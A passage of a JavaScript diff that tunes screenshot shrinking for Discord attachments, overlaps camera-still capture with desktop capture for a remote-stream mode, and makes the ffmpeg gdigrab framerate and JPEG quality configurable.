- out = await shrinkScreenshotFileToMaxBytes(p, Math.max(4096, Math.floor(cap * 0.2)));
3719
+ out = await shrinkScreenshotFileToMaxBytes(p, Math.max(4096, Math.floor(cap * 0.2)), prefs);
3457
3720
  }
3458
3721
  if (!out || out.buffer.length > cap) {
3459
- out = await shrinkScreenshotFileToMaxBytes(p, Math.max(2048, Math.floor(cap * 0.1)));
3722
+ out = await shrinkScreenshotFileToMaxBytes(p, Math.max(2048, Math.floor(cap * 0.1)), prefs);
3460
3723
  }
3461
3724
  if (!out || out.buffer.length > cap) {
3462
- out = await shrinkScreenshotFileToMaxBytes(p, Math.max(1024, Math.floor(cap * 0.05)));
3725
+ out = await shrinkScreenshotFileToMaxBytes(p, Math.max(1024, Math.floor(cap * 0.05)), prefs);
3463
3726
  }
3464
3727
  if (!out || out.buffer.length > cap) {
3465
3728
  const fb = screenshotGuaranteedPlaceholderUnderCap(cap);
@@ -3500,16 +3763,19 @@ async function shrinkScreenshotBufferForDiscordAttachment(buf, hardCap) {
3500
3763
  const cap = Math.min(25 * 1024 * 1024, Math.max(64 * 1024, Math.floor(Number(hardCap) || 0)));
3501
3764
  if (!Number.isFinite(cap))
3502
3765
  return null;
3766
+ const attachPrefs = discordAttachmentPreferQualityWithinCap()
3767
+ ? { preferQualityNearCap: true }
3768
+ : undefined;
3503
3769
  if (buf.length <= cap) {
3504
3770
  return { buffer: buf, mime: sniffScreenshotMime(buf) };
3505
3771
  }
3506
3772
  for (const t of screenshotShrinkTierTargets(cap)) {
3507
- const out = await shrinkScreenshotBufferToMaxBytes(buf, t);
3773
+ const out = await shrinkScreenshotBufferToMaxBytes(buf, t, attachPrefs);
3508
3774
  if (out && out.buffer.length <= cap) {
3509
3775
  return out;
3510
3776
  }
3511
3777
  }
3512
- const last = await shrinkScreenshotBufferToMaxBytes(buf, Math.max(24 * 1024, Math.floor(cap * 0.05)));
3778
+ const last = await shrinkScreenshotBufferToMaxBytes(buf, Math.max(24 * 1024, Math.floor(cap * 0.05)), attachPrefs);
3513
3779
  if (last && last.buffer.length <= cap)
3514
3780
  return last;
3515
3781
  return null;
@@ -5422,6 +5688,13 @@ async function fsLinuxScreenshotCapture(options) {
5422
5688
  async function fsDesktopScreenshotCapture(options) {
5423
5689
  const startedAt = Date.now();
5424
5690
  const resolved = normalizeScreenshotCaptureOptions(options);
5691
+ /** Overlap camera grab with desktop capture — both often invoke ffmpeg; sequential waits dominated latency. */
5692
+ let camPromise = null;
5693
+ if (resolved.streamProfile === "remote_stream" && resolved.includeCamera) {
5694
+ const ffmpeg = resolveFfmpegForShrink();
5695
+ if (ffmpeg)
5696
+ camPromise = getCameraStillBase64(ffmpeg, 1200);
5697
+ }
5425
5698
  const shot = isWindows()
5426
5699
  ? await fsWindowsScreenshotCapture(resolved)
5427
5700
  : isMacos()
@@ -5429,6 +5702,11 @@ async function fsDesktopScreenshotCapture(options) {
5429
5702
  : process.platform === "linux"
5430
5703
  ? await fsLinuxScreenshotCapture(resolved)
5431
5704
  : null;
5705
+ const drainUnusedCamTask = async () => {
5706
+ if (!camPromise)
5707
+ return;
5708
+ await camPromise.catch(() => { });
5709
+ };
5432
5710
  if (shot) {
5433
5711
  if (shot && typeof shot === "object") {
5434
5712
  try {
@@ -5441,8 +5719,7 @@ async function fsDesktopScreenshotCapture(options) {
5441
5719
  if (shot.ok === true &&
5442
5720
  resolved.streamProfile === "remote_stream" &&
5443
5721
  resolved.includeCamera) {
5444
- const ffmpeg = resolveFfmpegForShrink();
5445
- const cam = ffmpeg ? await getCameraStillBase64(ffmpeg, 1200) : null;
5722
+ const cam = camPromise ? await camPromise : null;
5446
5723
  const now = Date.now();
5447
5724
  if (cam &&
5448
5725
  now - cameraStillLastSentAt >= cameraOverlaySendIntervalMs()) {
@@ -5461,8 +5738,10 @@ async function fsDesktopScreenshotCapture(options) {
5461
5738
  camera_width_percent: cameraOverlayWidthPercent(),
5462
5739
  };
5463
5740
  }
5741
+ await drainUnusedCamTask();
5464
5742
  return shot;
5465
5743
  }
5744
+ await drainUnusedCamTask();
5466
5745
  return {
5467
5746
  ok: false,
5468
5747
  error: `screenshot is not supported on platform ${process.platform}`,
@@ -5490,6 +5769,7 @@ async function fsWindowsScreenshotCapture(options) {
5490
5769
  const vb = hasCachedBounds
5491
5770
  ? getWindowsVirtualScreenBoundsCached(Number(windowsVirtualBoundsCache?.bounds?.w || 1920), Number(windowsVirtualBoundsCache?.bounds?.h || 1080))
5492
5771
  : null;
5772
+ const jpegQ = remoteStreamJpegQuality();
5493
5773
  const args = [
5494
5774
  "-nostdin",
5495
5775
  "-hide_banner",
@@ -5498,6 +5778,8 @@ async function fsWindowsScreenshotCapture(options) {
5498
5778
  "-y",
5499
5779
  "-f",
5500
5780
  "gdigrab",
5781
+ "-framerate",
5782
+ "15",
5501
5783
  "-draw_mouse",
5502
5784
  "1",
5503
5785
  "-i",
@@ -5509,7 +5791,7 @@ async function fsWindowsScreenshotCapture(options) {
5509
5791
  if (vf) {
5510
5792
  args.push("-vf", vf);
5511
5793
  }
5512
- args.push("-q:v", "6", "-frames:v", "1", outJpg);
5794
+ args.push("-q:v", String(jpegQ), "-frames:v", "1", outJpg);
5513
5795
  const ok = await trySpawnScreenshotTool(ffmpeg, args, outJpg, 12_000);
5514
5796
  if (ok && fs.existsSync(outJpg)) {
5515
5797
  const fast = await resultFromPngPath(outJpg, options);